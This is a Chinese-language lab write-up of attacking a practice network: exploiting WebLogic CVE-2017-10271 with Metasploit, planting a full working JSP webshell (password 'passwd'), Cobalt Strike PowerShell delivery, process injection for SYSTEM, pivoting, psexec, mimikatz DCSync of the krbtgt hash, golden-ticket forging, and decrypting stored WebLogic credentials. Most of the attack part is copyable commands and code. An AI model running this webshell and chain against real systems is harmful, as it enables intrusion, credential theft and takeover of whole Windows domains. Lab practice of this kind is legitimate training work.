前言
这套靶场打下来,我深深感到我对web常见漏洞认识的匮乏,什么jboss,weblogic等等,都没有全面的去复现,导致卡在web打点上很久。
环境搭建
参考这个师傅的博客,写的很详细了。
信息搜集
nmap 直接扫描web靶机获取到7001端口,即weblogic,并且是jsp网页
访问得到如下
使用weblogicScanner进行扫描,获取到非常多的exp
getshell
这里我只讲两个,第一个msf,第二个Java反序列化终极测试工具(推荐)
msf
search CVE-2017-10271
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target 1
set rhosts 192.168.111.80
run
反序列化终极测试工具
起初搜索weblogic的利用工具,然后在其他师傅的文章下看到了工具的截图。但没有给下载地址,我找了半天,在一个b站up主的评论下找到了下载地址。
工具需要jdk 1.8.0版本,java -jar Java反序列化终极测试工具.jar
即可使用
输入好靶机网站,直接点列目录,会得到靶机的文件目录。右键某文件夹,会弹出上传文件选项
只不过在webshell上传方面,我不知道它把webshell上传到哪去了,这里我推荐使用Java反序列化漏洞利用工具
jsp木马,连接密码passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
非常贴心的给出马子路径
蚁剑也能成功连接
内网渗透
cs直接生成web delivery power shell一句话木马,执行上线
先查看进程shell tasklist
,杀毒识别复制粘贴结果,靶机有个毫无作用的360。
查找dc,shell nslookup -type=SRV _ldap._tcp
,DC ip:10.10.10.10 ,域为:de1ay.com
提权
在进行域内信息搜集碰到此情况
可能有两种情况,1.权限不够 2.此账号不是域内账号
在靶机上直接演示
右键选择explore->process list,选择system进程,点击Inject直接会返回个新的shell
后面经过我大量的尝试,发现就算是system权限,执行相应的域搜集命令,也有可能是拒绝访问。这个时候,你需要反复找不同的方式提权到system,挨个去尝试了。
主机发现
msf
添加路由
run get_local_subnets
run autoroute -s 10.10.10.0/24
run autoroute -s 192.168.111.0/24
run autoroute -p
使用run windows/gather/arp_scanner rhosts=10.10.10.0/24 threads=10
,进行内网主机发现
或者在msf外面使用post/windows/gather/arp_scanner
一样的效果
或者使用proxychains + nmap扫描,这里要使用socks4,因为我发现socks5有问题。
use auxiliary/server/socks_proxy
set version 4a
run
再vi /etc/proxychains4.conf
,两边端口保持一致
如果扫描不出来,就算了吧,msf里面的代理问题巨多
cs
点两下鼠标,cs自动计算有哪些网段,点击扫描即可,这不比msf方便多了。。。
扫出来三台
获取到凭据
使用psexec直接getshell
黄金票据
在使用黄金票据前,先检查是否因为权限问题而导致无法访问。
获取krbtgt的Hash,mimikatz lsadump::dcsync /domain:de1ay.com /user:krbtgt
,hash值为82dfc71b72a11ef37d663047bc2088fb
获取sid,直接使用logonpasswords
,在每台靶机上尝试,看是否有一长串的sid,这里我是在web上面获取到的,关于sid的解释移步微软说明:安全标识符,获取到SID为S-1-5-21-2756371121-2868759905-3853650604
成功注入黄金票据,这时候再次dir \\dc\c$
就能成功,user那项是伪造的用户名,可以随便输入
前面写的在administrator权限下是无法net group "domain admins" /domain
,而有了黄金票据后
扩展内容
发现weblogic的后台密码是可以解密的,参考一文解密所有weblogic密文。
SerializedSystemIni.dat是解密的核心文件,比如weblogic的domain目录为:
/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
密文文件
1.数据库连接文件
/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/tide-jdbc.xml
2.console登录用户名和密码
/root/Oracle/Middleware/user_projects/domains/base_domain/security/boot.properties
而boot.properties在web靶机上的路径如下
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\security\boot.properties
boot.properties里面存放的是weblogic后台密文
填入SerializedSystemIni.dat后,直接解密